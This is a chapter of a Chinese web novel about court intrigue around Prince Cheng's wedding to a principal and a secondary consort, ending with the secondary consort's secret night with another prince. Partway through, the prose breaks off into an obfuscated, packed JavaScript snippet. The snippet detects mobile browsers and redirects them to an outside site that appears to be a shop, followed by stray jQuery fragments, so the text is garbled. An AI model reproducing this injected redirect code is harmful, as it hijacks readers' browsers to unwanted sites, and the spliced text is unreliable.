19.大红绿帽
作品:《晏与湘泠》 王京一家三口,一路行来,已是一十七日。
刚抵达新平驿时,偏逢阴雨连绵,道路湿滑难行。柳氏本想在此多歇两日,因王墨霆连日奔波,身子已是越发虚弱。
“咳咳咳……”
驿馆客房内,阵阵咳喘声断断续续地传来。
王墨霆虚弱地卧在床上,柳氏正在一旁给他喂药,满脸忧色。
“老爷,要不咱们就在这儿多住几日,等霆儿好些了再上路?这般日夜兼程,我实在心疼霆儿。”
“夫人,霆儿的病耽搁不起,这附近的大夫,哪里比得上京城里的名医。”王京走到床边,语气温柔却难掩焦灼,轻声问道,“霆儿,你还可撑得住?若实在难受,想歇息,爹都听你的。”
王墨霆虚弱地摇了摇头,气息微喘:“爹,我……还能坚持。周大夫不是留了一瓶特效药吗?我吃那个便是……”
“好。难为我儿了。快则十余日,咱们便能抵达京师。”
王京望着儿子苍白憔悴的面容,心中既疼惜又急切。一行人稍作整顿,一路风尘未歇,朝着京城的方向疾驰而去。
而千里之外的京城,早已沉浸在一片喜庆之中。宫墙内外红绸高悬,礼乐齐备,人人皆知,成王唐隐川的大婚之期将近,整座皇城都在为这场盛事精心准备着。
坤宁宫内,沉香袅袅,与外头的喧闹相比,这里倒静了不少。皇后端坐在凤榻之上,一身玄色常服的唐隐川坐在一旁,身姿挺拔,神色难辨。
“明日便是你大婚之日,一应诸事,皆以庄清瑶为重。她,是你的正妃。”
“庄氏一族在朝堂之上根基深厚,是你日后立足、稳坐储位最坚实的倚仗。你要明白,你娶的不只是庄清瑶这个人,是整个庄家门第。”
殿内寂静,唯有香炉轻烟缓缓浮动,绕梁而散。
“沅宛央有孕,是桩喜事。母妃自会让人好生照拂,保她母子平安,将来诞下孩儿,也少不了荣华富贵。可你要记清楚,嫡庶有别,不可乱了分寸。”
“儿臣谨记。”唐隐川低声应着。
皇后瞧着唐隐川对这门亲事兴致寥寥,又缓缓叮嘱道:“大婚之后,尽早与庄清瑶诞下皇嗣。唯她所出,才是你的嫡长子,亦是我唐明朝名正言顺的嫡长孙。”
沉默片刻,唐隐川抬头看向皇后,略带一些期盼问道:“母妃,沅湘泠入府为侧妃一事,可还有转圜余地?”
“川儿!”皇后这一声轻而重,“成大事者,当知取舍。情与势,你要拎得清,切莫因小失大,自毁前路。”
“儿臣明白。儿臣还要去向皇祖母请安,便先行告退了。”
“去吧。”
他躬身退下,一路沉默出了坤宁宫。宫道上风轻云淡,处处是喜庆之象,可他眼底却无半分喜色,只循着往日路径,往慈宁宫而去。
自上次永宁长公主婚宴一别,太后受自家女儿的影响,格外怜惜沅湘泠,特意下旨将她召进宫中,亲自为她量身定制适合调理身体的食疗药膳。
这几日,沅湘泠几乎日日都在慈宁宫里陪着太后闲话,与唐晏舟上次婚宴一别之后,两人已有近半个月未曾见过了。
唐隐川进入慈宁宫时,殿内正飘着淡淡的药香甜味,混着一缕清雅的兰花香,格外舒心。
太后歪倚在软榻上,正听着身边的宫人回话,而不远处的窗边,一道纤细身影垂眸正端着一盏温好的药膳汤朝这边走来。
四目猝然相对。
唐隐川脚步微顿,方才在路上压下去的心绪,在这一刻骤然翻涌。
“川儿,你来啦。”
“成王殿下。”沅湘泠屈膝福身,轻声行礼。
恰在此时,宫人扬声通传:“秦王殿下到——”
唐晏舟一身青色常服走入殿内,目光先落向软榻上的太后,行过礼后,视线不经意般掠过沅湘泠处,又淡淡收回。
太后见状,端坐起来,浅笑道:“你们兄弟倒赶在一块儿来了。”
“三弟,许久不见。”唐隐川跟唐晏舟打着招呼,眼神不经意间瞥向沅湘泠那儿。
唐晏舟似乎感受到了,侧身挪了一步,将沅湘泠挡在自己的身后,“大哥,明日便是你大喜之日,一正一侧一同迎入府,这般齐人之福,当真羡煞旁人。”
唐隐川眸色微沉,脸上笑意却未减,“三弟说笑了,不过是遵旨行事。你年纪也不小了,可需要大哥替你向父皇请旨,早日赐婚?”
“这就不劳烦大哥,父皇早有旨意。”唐晏舟语气平淡。
“哦?不知是哪家姑娘,竟有这般福气?”唐隐川挑眉追问。
唐晏舟只淡淡一笑,并未明言:“日后大哥自然知晓。”
兄弟二人的话却被沅湘泠听了进去。果然,他真的有了定亲之人。
她强压下心头的情绪,轻声上前道:“太后娘娘,您该用药汤了,还温着的,一会儿该凉了。”
“瞧儿,哀家这记性,竟把这事忘了。”太后笑着招招手,“泠儿,过来,到哀家身边来坐。”
沅湘泠上前伺候太后饮下药汤,又递上一方绢帕,太后接过拭了拭唇角。
太后又同唐晏舟兄弟二人闲叙了几句家常。
唐隐川谈吐从容,而唐晏舟则话不多,淡淡应和着,眼光却数次不动声色地落在沅湘泠身上。
不多时,太后轻轻按了按眉心,露出几分倦意:“哀家年纪大了,坐不了片刻便乏了。你们兄弟也不必久陪,各自回去吧。”
众人闻言纷纷起身行礼告退。
“臣女告退,太后娘娘好生歇息。”
太后望着她,温柔道:“路上仔细,改日得空了,再进宫陪哀家说说话。”
“是。”
沅湘泠屈膝一礼,提上药箱,缓步退出慈宁宫,独自一人沿着宫道往宫外走去。
刚行至御花园处,身后便传来一阵沉稳的脚步声,一道身影快步上前,拦在了她身前。
她回过神一看,是唐晏舟。
四下无人,风声轻细,他望着她,眼底多了几分她读不懂的思虑,开口说话的声音极轻。
“这段时间,你为何不来找我?”
沅湘泠垂了垂眼,有些委屈道:“那,你也没有来找我啊。”
“我……”唐晏舟一时语塞,好一会才温柔道:“我送你回府。”他不再多言,顺势接过她的药箱便往宫门外走。
三月二十,黄道吉日,天朗气清,宜嫁娶。
旭日初升,成王府外已是锣鼓喧天,十里红绸自府门一路绵延至长街尽头,映得漫天日光都染了几分暖意。
奉旨迎娶正妃与侧妃的仪仗整齐列阵,骏马披红,灯笼高悬,往来仆从皆是一身喜庆新衣。
唐隐川一身簇新的大红喜服,腰束玉带,眉宇间虽不见多少真切欢喜,却也依着礼制眉眼温和,礼数周全。
沅宛央天不亮便起身梳妆。只因早已与沅府大房分家,沅清平与林氏能为她置办的嫁妆寥寥无几,大多是宫中此前赏赐所剩,其余早已被母女二人挥霍一空。
这份嫁妆与正妃庄清瑶那边的十里红妆一对比,顿时显得寒酸简陋,上不得台面。
庄清瑶起初本不愿嫁给唐隐川,可自从被唐晏舟断然拒绝后,她早已心死认命。
如今一心只盼着坐稳成王妃之位,日后好好收拾沅氏这对姐妹。一个抢了她心尖之人,一个仗着肚子里有货,屡次在她面前嚣张跋扈,这笔账,她迟早要一一清算。
吉时一到,成王府的迎亲队伍分作两路。
唐隐川亲率大队人马,亲自往庄府迎娶正妃庄清瑶,骏马红缨,仪仗煊赫,一路引得百姓驻足围观。
而对侧妃沅宛央,只吩咐了一名贴身护卫,带着寥寥几人和一顶轿子去沅府代迎。
沅宛央在闺中端坐,听得外头动静稀疏,吉时快到了,连新郎官半分影子都无,心里顿时涌上一股
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287720|196830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子怨怼。一听说来接亲的队伍就那么几人,一时间火冒三丈。她扬言不嫁了,可来的护卫怎会惯着她,正准备将她原路带回府,便被林氏拦下,好说歹说。
“央儿,你如今有孕在身,纵有千般不甘,也断不能在这大喜之日闹出事端啊。你这不嫁,万一那成王真听了去,你可咋办?”
沅宛央一听,只得咬着牙,强忍委屈,被人搀扶着上了喜轿。
一主一侧两顶喜轿,一前一后,抵达成王府门前。
朱漆正门大开,红毯铺地,礼乐齐鸣。
庄清瑶一身正红色王妃朝冠霞帔,被人恭敬扶着,自正门风光入府,仪态端庄,步步生辉。
沅宛央紧随其后,也想跟着踏进正门,却被庄清瑶的贴身嬷嬷伸手拦下。
“侧妃娘娘,按照礼制,您应该走侧门。”
“沅宛央脸色瞬间涨红,又气又恼,看向站在门内的庄清瑶。”
又看向唐隐川,娇嗔道:“殿下……”
庄清瑶缓缓回身,唇角勾起一抹得意的冷笑:“妹妹怕是不懂规矩。妾室入府,岂有走正门的道理?侧门已是礼遇,莫要失了体统,叫殿下落人口实。”
“我腹中怀有皇嗣,是殿下的长子!”沅宛央拔高声音,手紧紧护着小腹,“凭什么要我走侧门?”
她满含泪雾望向站在庄清瑶身边的唐隐川,指望着他能帮自己说句话。
“住口!嬷嬷,给我掌嘴!”庄清瑶开口,身旁的嬷嬷上去抬手就给了沅宛央一记耳光。
“沅侧妃,请慎言!殿下的嫡长子,只能是我们正妃娘娘所出。看来沅侧妃,还得多学学宫规。”
“你……你竟敢打我!”沅宛央捂着脸颊,泪眼汪汪。
可唐隐川只是淡淡一瞥,眼神无波,“按规矩,抬沅侧妃从侧门入府。”
沅宛央浑身一僵,只觉颜面尽失,在众人目光之下,被人半扶着从偏窄侧面进了府,所有的屈辱与恨意在心底疯长。
正厅之内,高堂再上,宾客满座。
朝中官员、宗室贵族齐聚一堂,觥筹交错,贺声如潮。
唐隐川与庄清瑶一同行四拜礼,夫妻对拜,礼成入册。明媒正娶,昭告天地,庄清瑶已是名正言顺的成王妃。
而沅宛央,只能被安置在偏院,连堂前拜礼的资格都没有,形同透明。
入夜,红烛高燃,洞房花烛。
所有人都以为,唐隐川会在王妃与沅侧妃之间权衡一二,可他脚步未停,径直踏入了庄清瑶的正院新房。
红幔轻垂,软香在怀,一夜缱绻,春晓无限。
而另一侧,沅宛央独守空房。
偏院之内,案上红烛燃得热烈,反倒衬得满室孤寂。
她越想越恼,心头积压的愤懑翻涌而上,扬手便摔了桌上的茶盏,瓷片四溅。
她指着下人一通乱骂,将白日里受的那些冷落、屈辱,一股脑尽数发泄出来。
直到声嘶力竭,身心俱疲,她才将院中伺候之人悉数遣退。
院中刚静下来。忽然,窗外有人影一闪而过。
下一刻,沅宛央的房门被轻轻推开,一道挺拔身影悄无声息入内,反手关上门。不等她反应,那人已从身后环抱住她。
沅宛央惊得一颤,正要呵斥,抬眼看清来人正是自己朝思暮想的楚王唐景章后,浑身戾气化作一池春水。
“殿下……你可算来了。央儿……好委屈。”
“委屈了我的好央儿。”唐景章眸光深邃,语气低沉而蛊惑,“再忍忍,本王这不就来陪你……过这洞房花烛夜了吗?”
话音还未落下,他的手已不自觉四下游走,不由分说将她揽入怀中。
一室春意,暗度陈仓。
方才还在怒骂声中的偏院,很快便被喘息与暧昧声淹没。
只余下窗棂上摇曳不定的烛影,轻轻晃动着,将这桩见不得光的荒唐事,掩入这沉沉夜色。

